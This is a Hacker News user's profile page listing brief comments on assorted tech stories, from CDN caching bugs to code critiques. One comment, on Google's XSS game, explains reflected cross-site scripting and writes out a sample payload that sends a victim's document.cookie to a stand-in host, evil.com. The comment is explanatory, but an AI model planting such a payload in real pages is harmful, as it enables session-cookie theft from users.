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blahpro

568 karma · joined November 16, 2009

http://benhodgson.com/
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blahpro··on The Beach Boys' Brian Wilson Dies at 82
"except for a few pop artists here"
blahpro··on Google Announces Fourth Quarter and Fiscal Year 2023 Results [pdf]
I agree with the sentiment, but costs do impact revenue when those costs represent an investment in something that can be used to increase revenue, like employees.
blahpro··on World's only An-225 destroyed by Russian airstrikes
Nothing compared to loss of life and suffering of the Ukrainian people of course, but: this is sad.

From the article: "It will cost over USD3 billion to restore the plane [...]".

This seems extremely high. I'd expect maybe high hundreds of millions. I appreciate that they're hardly like-for-like, but the A380 unit cost was something like $400M, which I think has maybe double the tonnage of the An-225. Where does the extra couple of billion come from?

blahpro··on Ask HN: Google won't remove my site URL from random business using it on Maps
Please consider adding instructions for reproducing the issue to this thread. E.g. what's the name of the business that's using your URL, and what's your URL? Without such instructions it's much harder for others on HN, or from Google, to help.
blahpro··on Google inserts links to its Duo video chat app when users text about Zoom
As far as I can tell, that GIF is showing Duo video quality before and after using a new codec design to improve quality particularly over low-bandwidth connections.
blahpro··on Show HN: Day of the Dead website with 12 Free illustrations
Nice! I think there's an error in the bottom-left of the footer, which says "Day of the Day", instead of "Day of the Dead"?
blahpro··on Google confirms it's letting third parties scan your Gmail
Just like any other email provider supporting POP3/IMAP.
blahpro··on This JPEG is also a webpage
Yeah but the image comes straight out of cache.
blahpro··on This JPEG is also a webpage
I like this bit: <img src="#" [...]>
blahpro··on Apple to build huge €850m 'data centre' in Ireland's fields of Athenry
Hmm. This article refers to the data centre as an "Apple Factory" and misspells Tim Cook's name.
blahpro··on Chip and PIN
Interesting article, but would greatly benefit from a "TL;DR" summary at the top.
blahpro··on Google Employees Secretly Live on Campus to Avoid Paying Rent
I would argue that this could be counter-productive. 24/7 immersion in an employer-owned and operated environment doesn't sound healthy from a work/life balance perspective.
blahpro··on Google's XSS game
Yes. If you had an XSS vulnerability via a GET querystring parameter, an attacker could encourage a victim to visit a URL which exploited the vulnerability (or, say, iframed the URL in another page which they got the victim to visit), then the attacker could, say steal the user's auth cookie with something like <script>(new Image).src = "http://evil.com/stolencookie=" + document.cookie;</script>.
blahpro··on Realistic terrain in 130 lines of JavaScript
It'd be interesting to see an animation of the diamond/square iteration progressing in 3D, starting with a flat surface and ending with the finished terrain :)
blahpro··on Terminal Cornucopia
"Airplane Mode" claims to use a Parrot AR Drone 2.0 (~$290) for parts. The controller used is actually an infrared one from a smaller and cheaper (~$20) RC helicopter, like this: http://www.amazon.com/Syma-S107-S107G-Helicopter-Colors/dp/8...
blahpro··on Help Us Help Molly Holzschlag
Molly's books were what really got me started with web development. She was kind enough to send me a signed copy of one of her books when I was probably ~13 years old after emailing her. About ten years later, I was able to meet up with her here in the UK for a coffee, which was lovely.

If you can, please support Molly's treatment with a donation. Thank you.

blahpro··on Are You A Typing Hacker? Prove It
This is extremely laggy for me in Safari 7.
blahpro··on Interactive Resume
Pretty cool! Some feedback: lose the flashing instructional text.
blahpro··on Ask HN: Why do all payment processors charge 2.9% + $0.30 per transaction?
This is what PayPal have charged for as long as I can remember. I always assumed that later entrants (Stripe etc) adopted that price point to be competitive with PayPal.
blahpro··on King, the Swedish Creator of Candy Crush Saga, To File For IPO
Zynga's market cap is listed as $2.9 million. Presumably this is a typo; it's ~$2.9 billion.
blahpro··on Twitter Tweet Button URL randomly resolves to a .torrent file
platform.twitter.com is currently CNAMEd to EdgeCast CDN. It looks like the CDN is sitting in front of Amazon S3; http://platform.twitter.com/blahblahblah gives an S3-like 403 response.
blahpro··on Twitter Tweet Button URL randomly resolves to a .torrent file
My guess: many CDNs allow you to exclude the querystring from the cache key, so it's possible that one person requested the URL with ?torrent in the querystring (which causes S3 to serve a .torrent response) and that the request hit a cold cache. The response with type application/x-bittorrent was then cached under the querystring-less cache key, causing it to be served to anyone else hitting that edge node with the path /widgets/tweet_button.html.

Again: this is just my guess.

blahpro··on Free Official MSIE VM's for Linux and Mac
Although they come from Microsoft, I don't feel enormously comfortable doing this:

    chmod +x LinuxVirtualBox.part1.sfx; ./LinuxVirtualBox.part1.sfx
blahpro··on Exceptional to join the Rackspace Family
Nitpick++: Exceptional Cloud Services, Inc. is the legal entity. I’d say that "Exceptional" is a reasonable way to refer to the team.
blahpro··on AWS Olympics: Speed-Testing EC2 and S3 Across Regions
Interesting. It might also be useful to see latencies between regions (or even availability zones).
blahpro··on PAWK - A Python line processor (like AWK)
This looks like a really useful tool, although the automatic importing of anything that smells like a module makes me a little uncomfortable:

    modules = re.findall(r'([\w.]+)+(?=\.\w+)\b', all_text)
then later:

    for m in modules:
      try:
          key = m.split('.')[0]
          self[key] = __import__(m)
      except:
          pass
blahpro··on Show HN: JFDIN - Just Fucking Do It Now
I like it! I think the progress indicator in the title needs some rounding love, however:

    document.title = (100 * time / totaltime).toFixed(1) + "%";
blahpro··on Show HN: JFDIN - Just Fucking Do It Now
You could achieve this entirely statelessly (i.e. without a database) by encoding the task name in the URL. This is the sort of feature that could fuel growth by encouraging sharing :)
blahpro··on Javascript Metaballs
I misread this as "meatballs". Needless to say, this was not what I was expecting ;-). I like the effect. I wonder what meta-metaballs would look like...
blahpro··on Startup using a custom Portal 2 level to recruit engineers
Maybe this is part of the test ;-)
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